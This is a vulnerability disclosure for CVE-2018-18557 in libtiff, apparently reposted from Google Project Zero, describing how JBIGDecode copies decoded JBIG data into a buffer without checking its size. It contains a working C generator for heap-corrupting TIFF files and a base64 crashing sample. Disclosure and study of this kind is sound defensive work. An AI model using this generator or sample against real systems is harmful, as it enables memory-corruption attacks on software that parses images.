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Libtiff Decodes Arbitrarilly-Sozed JBIG Into A Target Buffer

Libtiff Decodes Arbitrarilly-Sozed JBIG Into A Target Buffer
Posted Oct 26, 2018
Authored by Thomas Dullien, Google Security Research

libtiff up to and including 4.0.9 decodes arbitrarily-sized JBIG into a buffer, ignoring the buffer size.

tags | exploit
advisories | CVE-2018-18557
MD5 | 1f65f444f30882af96c78320cb935028

Libtiff Decodes Arbitrarilly-Sozed JBIG Into A Target Buffer

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libtiff decodes arbitrarily-sized JBIG into a target buffer 

CVE-2018-18557


libtiff up to and including 4.0.9 decodes arbitrarily-sized JBIG into a buffer, ignoring the buffer size.

The issue occurs because JBIGDecode entirely ignores the size of the buffer that is passed to it:


static int JBIGDecode(TIFF* tif, uint8* buffer, tmsize_t size, uint16 s)
{
struct jbg_dec_state decoder;
int decodeStatus = 0;
unsigned char* pImage = NULL;
(void) size, (void) s;
if (isFillOrder(tif, tif->tif_dir.td_fillorder))
{
TIFFReverseBits(tif->tif_rawdata, tif->tif_rawdatasize);
}
jbg_dec_init(&decoder);
(...)
decodeStatus = jbg_dec_in(&decoder, (unsigned char*)tif->tif_rawdata,
(size_t)tif->tif_rawdatasize, NULL);
if (JBG_EOK != decodeStatus)
{
(...)
}
pImage = jbg_dec_getimage(&decoder, 0);
_TIFFmemcpy(buffer, pImage, jbg_dec_getsize(&decoder));
jbg_dec_free(&decoder);
return 1;
}


The 4th line above is apparently to silence compiler warnings; the code proceeds to decode the JBIG contents, and then blindly copies as many bytes as decoded into the target buffer by means of _TIFFmemcpy.

The attack primitive here ends up as follows:
1) The attacker gets to perform an allocation of a size of his choosing.
2) The attacker gets to write a pretty arbitrary amount of data of his choosing into this buffer.

Reproducing testcases can be generated using the following C code:
=============================================================================
#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <stdint.h>
#include "jbig.h"


void output_bie(unsigned char *start, size_t len, void *file)
{
fwrite(start, 1, len, (FILE *) file);

return;
}

int main(int argc, char**argv)
{
FILE* inputfile = fopen(argv[1], "rb");
FILE* outputfile = fopen(argv[2], "wb");

// Write the hacky TIF header.
unsigned char buf[] = {
0x49, 0x49, // Identifier.
0x2A, 0x00, // Version.
0xCA, 0x03, 0x00, 0x00, // First IFD offset.
0x32, 0x30, 0x30, 0x31,
0x3a, 0x31, 0x31, 0x3a,
0x32, 0x37, 0x20, 0x32,
0x31, 0x3a, 0x34, 0x30,
0x3a, 0x32, 0x38, 0x00,
0x38, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00,
0x38, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00
};
fwrite(&(buf[0]), sizeof(buf), 1, outputfile);

// Read the inputfile.
struct stat st;
stat(argv[1], &st);
size_t size = st.st_size;
unsigned char* data = malloc(size);
fread(data, size, 1, inputfile);

// Calculate how many "pixels" we have in the input.
unsigned char *bitmaps[1] = { data };
struct jbg_enc_state se;

jbg_enc_init(&se, size * 8, 1, 1, bitmaps, output_bie, outputfile);
jbg_enc_out(&se);
jbg_enc_free(&se);

// The raw JBIG data has been written, now write the IFDs for the TIF file.
unsigned char ifds[] = {
0x0E, 0x00, // Number of entries. +0

0xFE, 0x00, // Subfile type. +2
0x04, 0x00, // Datatype: LONG. +6
0x01, 0x00, 0x00, 0x00, // 1 element. +10
0x00, 0x00, 0x00, 0x00, // 0 +14
0x00, 0x01, // IMAGE_WIDTH +16
0x03, 0x00, // Datatype: SHORT. +18
0x01, 0x00, 0x00, 0x00, // 1 element. +22
0x96, 0x00, 0x00, 0x00, // 96 hex width. +26
0x01, 0x01, // IMAGE_LENGTH +28
0x03, 0x00, // SHORT +30
0x01, 0x00, 0x00, 0x00, // 1 element +34
0x96, 0x00, 0x00, 0x00, // 96 hex length. +38
0x02, 0x01, // BITS_PER_SAMPLE +40
0x03, 0x00, // SHORT +42
0x01, 0x00, 0x00, 0x00, // 1 element +46
0x01, 0x00, 0x00, 0x00, // 1 +50
0x03, 0x01, // COMPRESSION +52
0x03, 0x00, // SHORT +54
0x01, 0x00, 0x00, 0x00, // 1 element +58
0x65, 0x87, 0x00, 0x00, // JBIG +62
0x06, 0x01, // PHOTOMETRIC +64
0x03, 0x00, // SHORT +66
0x01, 0x00, 0x00, 0x00, // 1 element +70
0x00, 0x00, 0x00, 0x00, // / +74
0x11, 0x01, // STRIP_OFFSETS +78
0x04, 0x00, // LONG +80
0x13, 0x00, 0x00, 0x00, // 0x13 elements +82
0x2C, 0x00, 0x00, 0x00, // Offset 2C in file +86
0x15, 0x01, // SAMPLES_PER_PIXEL +90
0x03, 0x00, // SHORT +92
0x01, 0x00, 0x00, 0x00, // 1 element +94
0x01, 0x00, 0x00, 0x00, // 1 +98
0x16, 0x01, // ROWS_PER_STRIP +102
0x04, 0x00, // LONG +104
0x01, 0x00, 0x00, 0x00, // 1 element +106
0xFF, 0xFF, 0xFF, 0xFF, // Invalid +110
0x17, 0x01, // STRIP_BYTE_COUNTS +114
0x04, 0x00, // LONG +116
0x13, 0x00, 0x00, 0x00, // 0x13 elements +118
0xC5, 0xC0, 0x00, 0x00, // Read 0xC0C5 bytes for the strip? +122
0x1A, 0x01, // X_RESOLUTION
0x05, 0x00, // RATIONAL
0x01, 0x00, 0x00, 0x00, // 1 element
0x1C, 0x00, 0x00, 0x00,
0x1B, 0x01, // Y_RESOLUTION
0x05, 0x00, // RATIONAL
0x01, 0x00, 0x00, 0x00, // 1 Element
0x24, 0x00, 0x00, 0x00,
0x28, 0x01, // RESOLUTION_UNIT
0x03, 0x00, // SHORT
0x01, 0x00, 0x00, 0x00, // 1 Element
0x02, 0x00, 0x00, 0x00, // 2
0x0A, 0x01, // FILL_ORDER
0x03, 0x00, // SHORT
0x01, 0x00, 0x00, 0x00, // 1 Element
0x02, 0x00, 0x00, 0x00, // Bit order inverted.
0x00, 0x00, 0x00, 0x00 };

// Adjust the offset for the IFDs.
uint32_t ifd_offset = ftell(outputfile);
fwrite(&(ifds[0]), sizeof(ifds), 1, outputfile);
fseek(outputfile, 4, SEEK_SET);
fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile);

// Adjust the strip size properly.
fseek(outputfile, ifd_offset + 118, SEEK_SET);
fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile);

fclose(outputfile);
fclose(inputfile);
return 0;
}
===============================================================
Build & link with -ljbig.

You can then create a new TIFF file that corrupts the heap by doing
./a.out file_with_data_to_clobber_the_heap_with.txt outputfile.tiff

An example TIFF file that crashes various tiff readers is base64-encoded
below:

SUkqAEgYAAAyMDAxOjExOjI3IDIxOjQwOjI4ADgAAAABAAAAOAAAAAABAAAAAAEAAAC8uAAAAAEA
AAACCAADHNKk0nHy6CbJhVojbsYUZY8vZ+LcRHKCtFjvAcJJY+JibZEZudFeppijmo6K5rQICnd4
Z1zp2bHgMe0JNyzpKY6w/wA4FRbBmV1c+nqZnTk5lH4pnM2x38kR5widHbZSZofrR/RrOxrBrEAR
Ch8ElW2dRwbu3s84jVJkaHSGLNBrA2vtCCKGwuZhkCKq+Uy/Lwov48I7uQoXOsif0xAemOgQv47v
wgwL0yKYY5e+Qp0mCG4kIMXh/Hl6WqiKVJ2vgds8WQuvGXWFLcRdDY7GQ3AIgcMm7s/YpHXeec/2
t3xPPnrYtI/NOMJU/pTZSY2oHKqDbjN5iTdjqEtkj5xKXL6jq1NSeFYIKaPn0LLJSXj+oagzRkia
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mL0/H7rCJYnVpX0lX7WTIABYlILV3GEROLL1QEql93WXJOe7AZYdN2YRbrkLdEV5zgNhes42EaZR
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UP8CDgD+AAQAAQAAAAAAAAAAAQMAAQAAAJYAAAABAQMAAQAAAJYAAAACAQMAAQAAAAEAAAADAQMA
AQAAAGWHAAAGAQMAAQAAAAAAAAARAQQAEwAAACwAAAAVAQMAAQAAAAEAAAAWAQQAAQAAAP////8X
AQQAEwAAAEgYAAAaAQUAAQAAABwAAAAbAQUAAQAAACQAAAAoAQMAAQAAAAIAAAAKAQMAAQAAAAIA
AAAAAAAA

Labels:
Vendor-libtiff
Product-libtiff
Severity-High
Methodology-source-review (e.g. Methodology-source-review)
Finder-thomasdullien
Reported-2018-Oct-13

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: thomasdu...

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